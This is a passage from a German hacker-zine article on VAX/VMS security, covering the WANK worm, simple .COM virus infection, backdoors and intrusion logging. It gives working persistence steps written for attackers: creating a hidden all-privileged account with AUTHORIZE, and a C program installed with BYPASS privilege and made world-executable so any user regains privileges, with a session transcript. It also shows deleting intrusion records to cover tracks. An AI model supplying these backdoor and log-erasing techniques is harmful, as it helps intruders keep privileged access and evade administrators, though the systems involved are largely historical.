benutzt. Wie es mit Fromatstring oder Symlink Attacken aussieht weiss ich leider nicht. Ich habe bei meinen rechaigen nichts dergleichen gefunden. Ich empfehle suchen im Internet wenn Ihr euch einige Exploits fuer VMS ansehen wollt. Z.B. ist vor kurzem beim Securityfocus ein Eintrag erschienen der eine Reihe von OpenVMS´s Schwachstellen im Webserver auflistet (feel free to $ SEARCH [THE.INTERNET] EXPLOITS). 3.4 Viren und Wuermer Schon 1989 wurde die erste Warnung vor einem DECnet Wurm laut. Dieser ist unter dem Namen „WANK-Worm“ (W.COM) bekannt und war zu seiner Zeit eine Art ANTI-Atomwaffen Aktion. WANK attakierte VMS Systeme indem er sich zunaechst durch einen Standart Account namens DECnet einloggte. Dieser Account war fuer Benutzer vorgesehen, welche keine ID besassen, die aber trotzdem an dem System arbeiten wollten (welch ein nettes feature!). Daher konnte sich jeder Hannes remote mit diesem Account verbinden und brauchte kein Passwort einzugeben. Und genau hier setzte der Wurm ein. Es wurde nach allen einem beschreibbaren Verzeichnis gesucht, in das sich der Wurm kopierte. Dann infizierte er alle .COM Dateien (soweit er es konnte) und meldete seinen Erfolg in der Welt. Ausserdem verfuegte der Wurm ueber Passwort abklapper mechanismen. Wenn es der Wurm geschafft hat sich irgendwie die SYSNAM Privilegien zu ergattern, aenderte er den Systembanner in folgenden: W O R M S A G A I N S T N U C L E A R K I L L E R S _______________________________________________________________ \__ ____________ _____ ________ ____ ____ __ _____/ \ \ \ /\ / / / /\ \ | \ \ | | | | / / / \ \ \ / \ / / / /__\ \ | |\ \ | | | |/ / / \ \ \/ /\ \/ / / ______ \ | | \ \| | | |\ \ / \_\ /__\ /____/ /______\ \____| |__\ | |____| |_\ \_/ \___________________________________________________/ \ / \ Your System Has Been Officically WANKed / \_____________________________________________/ You talk of times of peace for all, and then prepare for war. Der Wurm machte noch allerhand anderen quatsch – besonders mit SYSNAM Privilegien... Ein Virus der eine .COM infiziert ist sehr einfach zu schreiben. Der Virus muss dazu nur sich selbst (vorrausgesetzt er ist .COM) an das ende einer .COM Datei kopieren. Naja- nicht direkt ans Ende, denn .COM Dateien enden mit dem Schluesselwort „EXIT“. Vor diesem Schluesselwort muss unser Virus. Beim infizieren von EXE Dateien, braucht man meines Erachtens nach nichts besonders zu beachten. Viren und Wuermer sind also schon seid langer Zeit auch hier unter VMS ein Thema. 3.5 Backdoors Unter dem begriff Backdoor versteht man eine Systemroutine die dem Angreifer der bereits das System erobert hat den erneuten Zugriff zu sichern. Optimaler weise natruerlich mit Systemprivilegien. Eine einfache und total unsichere Methode ist es sich einen neuen Account zu erstellen. $ SET DEFAULT SYS$SYSTEM $ RUN AUTHORIZE UAF> ADD NEWADMIN /UIC=555 /DEVICE=SYS$SYSDEVICE /DIRECTORY=[SYS0] /PASSWORD=owned /PRIVILEGE=SYSPRV UAF > EXIT $ SET HOST 0 Welcome on our VMS stranger Username: NEWADMIN Password: $ SET PROCESS /PRIVILEGE=BYPASS Zunaechst haben wir uns mit dem Administrationstool “AUTHORIZE” einen neuen Account erstellt mit dem Benutzernamen NEWADMIN erstellt. Die UIC ist 555, das Passwort „owned“ und das Standart Verzeichnis ist [SYS0]. Wir geben dem neuem Account alle Privilegien mit dem Schluesselwort „ALL“ und setzen noch „BYPASS“ oben drauf. Das hat zur Folge das NEWADMIN so ziemlich alles machen kann was er moechte. Um die Privilegien die mit AUTHORIZE gesetzt wurden auch zu nutzen, muessen wir mit dem Befehl „SET PROCESS /PRIVILEGE=BYPASS“ die Privilegien auch in Anspruch nehmen. Unsere aktuellen Rechte koennen wir uns mit „SHOW PROCESS /PRIVILEGE“ anzeigen lassen (Standart ist „TMPBMX und NETMBX“). Wer das Privileg SYSPRV besitzt, kann sich selbst Privilegien zusprechen da er SYSTEM Rechte hat. Naturlich faellt so etwas sehr schnell auf, da ein Admin nur das Programm AUTHORIZE starten brauch und an dem neuem Prompt sich alle Benutzer anzeigen lassen kann. UAF> LIST UAF> EXIT $ TYPE SYSUAF.LIS Owner Username UIC Account Privs Pri Directory SYSTEM MANAGER SYSTEM [1,10] SYSTEM All 4 SYS$SYSROOT:[SYSMGR] ... Mit dem LIST befehl, erstellt AUTHORIZE eine neue Datei, die den Inhalt der SYSUAF.DIS in ein leserliches Format bringt. Und zwar nennt sich diese neue Datei SYSUAF.LIS (die SYSUAF in diesem Format koennte fuer Angreifer interessant sein...) und kann ohne weiteres mit TYPE ausgegeben werden. Eine andere Methode ist es wie unter *NIX Systemen eine Priviligierte Shell zu hinterlassen. Da es unter VMS keine SUID Programme gibt, muessen wir das ganze irgendwie mit Privilegien deichseln. Wir gehen davon aus das wir SYSTEM Rechte haben. Man erstellt sich ein Programm welches nur einen neuen Prozess erstellt: #include #include long spawn_me; main() printf("Spawning Subprocess.....\n"); spawn_me=lib$spawn(); printf("Subprocess logged out...\n"); } Das ganze compilen: $ CC BACKDOOR.C $ LINK BACKDOOR.OBJ $ INSTALL INSTALL> create backdoor/priv=(bypass) INSTALL> list backdoor/full DISK$OVMSVAXSYS:.EXE BACKDOOR;1 Prv Entry access count = 0 Privileges = BYPASS INSTALL> exit Wir veraendern die Privilegien des Programms zu „BYPASS“. Was jetzt noch fehlt, ist die moeglichkeit fuer einen total normalen Benutzer die Backdoor auszufuehren. Dazu aendern wir die World rechte so, dass jeder das Programm starten kann. $ set file backdoor.exe /prot=(w:re) !e for EXECUTE Fertig! Nehmen wir mal an, wir loggen uns auf dem System mit 08/15 Rechten ein. Wie verfuegen lediglich ueber die Privilegien TMPMBX und NETMBX. Wir sind Teilnehmer einer Gruppe die nur uns als Teilnehmer kennt. Nun: $ MCR [USERS.LOOM.SYSMGR]backdoor Spawning Subprocess..... $ SHOW PROCESS /PRIVILEGE 3-MAY-2002 19:10:17.55 User: DEMO Process ID: 00000451 Node: MANSON Process name: "DEMO_1" Authorized privileges: BYPASS NETMBX TMPMBX Process privileges: NETMBX may create network device TMPMBX may create temporary mailbox Process rights: DEMO resource INTERACTIVE LOCAL System rights: SYS$NODE_MANSON $ ! Okay.. Note the "Authorized privleges". $ SET PROCESS /PRIVILEGE=BYPASS $ ! thanks for your BYPASS ! Es sollte ebenfalls moeglich sein, eine Art Backdoor Server zu schreiben, aber dazu muss man sich etwas genauer mit den Bibliotheken vertraut machen. Hier sei noch mal angemerkt, dass es im Internet um 1990 eine Secuirtywarnung gab, die auf das selbe Thema zielte. Es ging sich um das Ueberpruefen einer Backdoor, die eigentlich nach dem selben Prinzip arbeitete wie die oben aufgefuehrte. Falls ihr also eine Datei namens „SYS$LIBRARY:VMSCRTL.EXE“ finden solltet, ist das System mit einer Backdoor bestueckt. Falls jetzt ploetzlich ein Admin gruen anlaeuft weil er die File auf seinem System gefunden hat :$ MCR INSTALL SYS$LIBRARY:VMSCRTL.EXE /DELETE (ein Angreifer sollte sie moeglicherweise ausfuehren?!). 3.6 Logging Wenn ein Angreifer sich auf einem System herrumtreibt oder ein System Angreift, ist das loggen (festhalten) von solchen Ereignissen fuer einen Admin von grosser Wichtigkeit. Da VMS Systeme in der Regel durch Passwort raten erobert worden sind, hat man extra Systemroutinen eingebaut, die das staendige Raten aufzeichnen. Das ganze wurde von Zeit zu Zeit immer wieder erweitert- so sind Zugriffe auf durch ACL gesetzte Beschraenkungen auch nicht vor dem logging sicher. Um sich die Break-in Database anzusehen, reicht der folgende Befehl aus: $ SHOW INTRUSION Das ganze hat das folgende Format: Intrusion Type Count Expiration Source Intrusion: Art des Einbruchs (o. Einbruchsversuchs) Type: Genauere Beschreibung Count: Anzahl der fehlgeschlagenen Login versuche von der selben Quelle. Expiration: Dieser Wert nennt eine Toleranzgrenze von Sekunden, die angibt in welchen Zeitintervallen falsche Logins nicht als Break-in gellten sollten. Standart ist alle 5 Minuten ein falscher Loginversuch. Source: Die Herkunft des Angriffs Mit „SET AUDIT“ kann ein Admin viele Alarm-kriterien definieren. Wenn ein Angreifer sich Zugriff auf die Pivilegien SECURITY und CMKRNL hat, kann er mit dem folgenden Befehl die Break-in Database loeschen: $ DELETE /INTRUSION_RECORD source Beispielsweise: $ DELETE /INTRUSION_RECORD TTA0: Loescht alle Eintraege die von TTA0: ausgeloest wurden. Als Source gibt man also das Geraet an, mit dem man „arbeitet“ (in diesem Falle das Terminal `TTA0:`). Ob man ALLE Eintraege loescht wenn man keine „source“ angibt weiss ich nicht. Ein Anzeichen fuer einen Angreifer das mit Hilfe von „SET AUDIT“ geloggt wird, ist das vorhanden sein des Prozesses OPCOM. Dieser ist Standtmaessig nicht aktiv und hat die Aufgabe, alle Sicherheitswarnungen in die Operator Logfile zu schreiben. Sicherheitswarnungen werden alle in die Datei SYS$MANAGER:OPERATOR.LOG geschrieben. Um sich die Informationen vernuempftig anzusehen kann man mit dem folgendem Befehl die Infos in die Datei BREAKINS.DAT schreiben. SYS$MANAGER:SECAUDIT /OUTPUT=BREAKINS.DAT Moeglicherweise kann man auch mit SECAUDIT die Logdateien veraendern- ich weiss es nicht... 4.0 Nachwort Ich hoffe schwer, dass euch allen dieser Ausflug in die VAX/VMS Welt spass gemacht hat. Mich hat dieses Thema jedenfalls laengere Zeit gefesselt! Spannend fand ich es immer die alten Sicherheitswarnungen rund um VMS zu lesen und diese nachzuvollziehen. Ein bekannter von mir sagt, dass er den Text ganz interessant findet aber meint, dass dieser Text mehr historischer Natur ist. Auf erster Linie kann ich ihm schon Recht geben. VMS wird nicht mehr nennenswert oft verwendet. Aber es wird oefters verwendet als man denkt. Ich empfehle allen Skeptikern mal einen Blick ins 60 Phrack Magazin zu werfen. Da ist ein Artikel enthalten (Traffic.txt) in dem auch ein Verwendungsbeispiel von DECnets und VMS stehen: Figure 2. ITS Topologies ------------------------- ________ ________ ________ |COMPUTER|---|COMPUTER|------|COMPUTER| `--------' `--------' `--------' (coax) |_____ | (dialup) |__ (radio) | | | __________ | ____|_____ _____|_____ |CONTROLLER|-| | MASTER |__ |FIELD PROC.|__ `----------' | `----------' | `-----------' | __________ | __________ | ___________ | | VAX/VMS |-| | VAX/VMS |__| |CCTV CAMERA|__| `----------' | `----------' | `-----------' | __________ | __________ | ___________ | |COUNTSTION|-| |CONTROLLER|__| |CONTROLLER |__| `----------' `----------' `-----------' | ___________ | | VAX/VMS |__| `-----------' (Physical links (Physical links (physical links EIA 232) FSK-modem) Fiber) Introduction ------------ The traffic controller boxes that you see on the road have all a standard configuration set when commissioned, but they are all linked to a central office for remote configuration changes, fault reporting, resetting, etc. The ATC houses a FEP which connects to each controller or the local exchange. The FEP is the direct network connection to the controllers and queries the controllers per second bases and receives the responses which are transported to the central controlling computer [OS/2 or ALPHA VAX in S.A and UK] via DECnet on coaxial or other means via the LAN. The controlling computer then analysis the result and determines faults or other data and places it in the central controlling database on a VAX/VMS. The database is then prioritized and can be accessed via web interface on the local intranet to see fault reports and timing info. ************* -AUSZUG ENDE- ************* Nicht zu vergessen: Seid OpenVMS kommt langsam wieder Schwung in die Sache! Ich weiss nicht wie ihr darueber denkt, aber ich werde immer ein Auge auf dieses schoene Betriebssystem VMS und seine Verwendung/Entwicklung werfen! 5.0 Greets Greets to the Excluded-Team [www.excluded.org] ProXy, Havoc][, Nixon, Takt, FatalError2k, X-Net, and the others! Lovely greets to Toxic Source Developers! LexDiamond, Blowfish Greets to guys like Sleepy, strcat, evil_matt, !ntruder, molke, WIT, BofH, BooMer/Scorp, PuNsHeR, Black8balls “Wenn Wissen wirklich Macht ist, warum sind dann die Maechtigsten die Duemmsten?“ -l0om